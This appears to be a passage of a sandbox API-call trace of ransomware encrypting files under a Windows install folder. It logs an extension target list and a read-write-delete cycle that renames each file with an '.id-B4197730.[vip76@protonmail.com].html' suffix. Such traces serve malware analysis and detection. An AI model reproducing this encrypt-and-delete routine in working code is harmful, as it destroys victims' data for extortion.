	[0060.840] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0060.841] lstrlenW (lpString=".jpg") returned 4
	[0060.841] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.841] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.841] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.841] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.841] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=86284) returned 1
	[0060.841] CloseHandle (hObject=0x2c8) returned 1
	[0060.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0060.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.842] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.842] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.842] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.842] GetLastError () returned 0x0
	[0060.842] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1510c, lpOverlapped=0x0) returned 1
	[0061.079] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x15110, lpOverlapped=0x0) returned 1
	[0061.082] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.083] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.083] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.083] CloseHandle (hObject=0x2d0) returned 1
	[0061.086] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.086] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.088] CloseHandle (hObject=0x2c8) returned 1
	[0061.088] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.088] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1
	[0061.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.089] lstrlenW (lpString=".doc") returned 4
	[0061.089] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString=".docx") returned 5
	[0061.089] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.089] lstrlenW (lpString=".pdf") returned 4
	[0061.089] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString=".xls") returned 4
	[0061.089] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString=".xlsx") returned 5
	[0061.089] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.089] lstrlenW (lpString=".ppt") returned 4
	[0061.089] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.089] lstrlenW (lpString=".zip") returned 4
	[0061.089] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.089] lstrlenW (lpString=".rar") returned 4
	[0061.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString=".bz2") returned 4
	[0061.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString=".7z") returned 3
	[0061.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.089] lstrlenW (lpString=".dbf") returned 4
	[0061.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.089] lstrlenW (lpString=".1cd") returned 4
	[0061.090] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.090] lstrlenW (lpString=".jpg") returned 4
	[0061.090] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.090] lstrlenW (lpString=".doc") returned 4
	[0061.090] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString=".docx") returned 5
	[0061.090] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.090] lstrlenW (lpString=".pdf") returned 4
	[0061.090] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString=".xls") returned 4
	[0061.090] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString=".xlsx") returned 5
	[0061.090] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.090] lstrlenW (lpString=".ppt") returned 4
	[0061.090] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.090] lstrlenW (lpString=".zip") returned 4
	[0061.090] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.090] lstrlenW (lpString=".rar") returned 4
	[0061.090] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString=".bz2") returned 4
	[0061.090] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.090] lstrlenW (lpString=".7z") returned 3
	[0061.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.091] lstrlenW (lpString=".dbf") returned 4
	[0061.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.091] lstrlenW (lpString=".1cd") returned 4
	[0061.091] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.091] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0061.091] lstrlenW (lpString=".jpg") returned 4
	[0061.091] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.091] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.091] lstrlenW (lpString="eula.rtf") returned 8
	[0061.091] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.192] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3188) returned 1
	[0061.192] CloseHandle (hObject=0x2c8) returned 1
	[0061.192] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80
	[0061.192] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.192] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.192] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.192] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.194] GetLastError () returned 0x0
	[0061.194] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xc74, lpOverlapped=0x0) returned 1
	[0061.196] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xc80, lpOverlapped=0x0) returned 1
	[0061.197] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.197] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0061.198] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.198] CloseHandle (hObject=0x2d0) returned 1
	[0061.199] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.199] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.205] CloseHandle (hObject=0x2c8) returned 1
	[0061.205] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.205] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1
	[0061.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.206] lstrlenW (lpString=".doc") returned 4
	[0061.206] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.206] lstrlenW (lpString=".docx") returned 5
	[0061.206] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.206] lstrlenW (lpString=".pdf") returned 4
	[0061.206] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.206] lstrlenW (lpString=".xls") returned 4
	[0061.206] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.206] lstrlenW (lpString=".xlsx") returned 5
	[0061.206] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.206] lstrlenW (lpString=".ppt") returned 4
	[0061.206] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.206] lstrlenW (lpString=".zip") returned 4
	[0061.206] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.206] lstrlenW (lpString=".rar") returned 4
	[0061.206] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.206] lstrlenW (lpString=".bz2") returned 4
	[0061.207] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.207] lstrlenW (lpString=".7z") returned 3
	[0061.207] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.207] lstrlenW (lpString=".dbf") returned 4
	[0061.207] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.207] lstrlenW (lpString=".1cd") returned 4
	[0061.207] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.207] lstrlenW (lpString=".jpg") returned 4
	[0061.208] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.208] lstrlenW (lpString=".doc") returned 4
	[0061.208] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString=".docx") returned 5
	[0061.208] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0061.208] lstrlenW (lpString=".pdf") returned 4
	[0061.208] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString=".xls") returned 4
	[0061.208] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0061.208] lstrlenW (lpString=".xlsx") returned 5
	[0061.208] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0061.208] lstrlenW (lpString=".ppt") returned 4
	[0061.208] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.208] lstrlenW (lpString=".zip") returned 4
	[0061.208] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0061.208] lstrlenW (lpString=".rar") returned 4
	[0061.208] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString=".bz2") returned 4
	[0061.208] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString=".7z") returned 3
	[0061.208] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0061.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.208] lstrlenW (lpString=".dbf") returned 4
	[0061.208] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0061.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.208] lstrlenW (lpString=".1cd") returned 4
	[0061.209] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0061.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0061.209] lstrlenW (lpString=".jpg") returned 4
	[0061.209] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0061.209] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.209] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.209] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.209] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=77232) returned 1
	[0061.209] CloseHandle (hObject=0x2c8) returned 1
	[0061.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 0x80
	[0061.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.210] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.210] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.210] GetLastError () returned 0x0
	[0061.210] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x12db0, lpOverlapped=0x0) returned 1
	[0061.214] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x12dc0, lpOverlapped=0x0) returned 1
	[0061.217] ReadFile (in: hFile=0x2c8, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.217] WriteFile (in: hFile=0x2d0, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.217] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.217] CloseHandle (hObject=0x2d0) returned 1
	[0061.220] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.220] SetEndOfFile (hFile=0x2c8) returned 1
	[0061.221] CloseHandle (hObject=0x2c8) returned 1
	[0061.222] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.222] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1
	[0061.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.223] lstrlenW (lpString=".doc") returned 4
	[0061.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString=".docx") returned 5
	[0061.223] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.223] lstrlenW (lpString=".pdf") returned 4
	[0061.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString=".xls") returned 4
	[0061.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString=".xlsx") returned 5
	[0061.223] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.223] lstrlenW (lpString=".ppt") returned 4
	[0061.223] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.223] lstrlenW (lpString=".zip") returned 4
	[0061.223] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.223] lstrlenW (lpString=".rar") returned 4
	[0061.223] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString=".bz2") returned 4
	[0061.223] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.223] lstrlenW (lpString=".7z") returned 3
	[0061.223] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.223] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.223] lstrlenW (lpString=".dbf") returned 4
	[0061.223] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.224] lstrlenW (lpString=".1cd") returned 4
	[0061.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.224] lstrlenW (lpString=".jpg") returned 4
	[0061.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.224] lstrlenW (lpString=".doc") returned 4
	[0061.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString=".docx") returned 5
	[0061.224] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.224] lstrlenW (lpString=".pdf") returned 4
	[0061.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString=".xls") returned 4
	[0061.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString=".xlsx") returned 5
	[0061.224] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.224] lstrlenW (lpString=".ppt") returned 4
	[0061.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.224] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.224] lstrlenW (lpString=".zip") returned 4
	[0061.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.224] lstrlenW (lpString=".rar") returned 4
	[0061.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.225] lstrlenW (lpString=".bz2") returned 4
	[0061.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.225] lstrlenW (lpString=".7z") returned 3
	[0061.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.225] lstrlenW (lpString=".dbf") returned 4
	[0061.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.225] lstrlenW (lpString=".1cd") returned 4
	[0061.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.225] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0061.225] lstrlenW (lpString=".jpg") returned 4
	[0061.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.225] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.225] lstrlenW (lpString="eula.rtf") returned 8
	[0061.225] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.226] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3702) returned 1
	[0061.226] CloseHandle (hObject=0x2c8) returned 1
	[0061.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0061.226] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0061.226] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.226] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.226] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
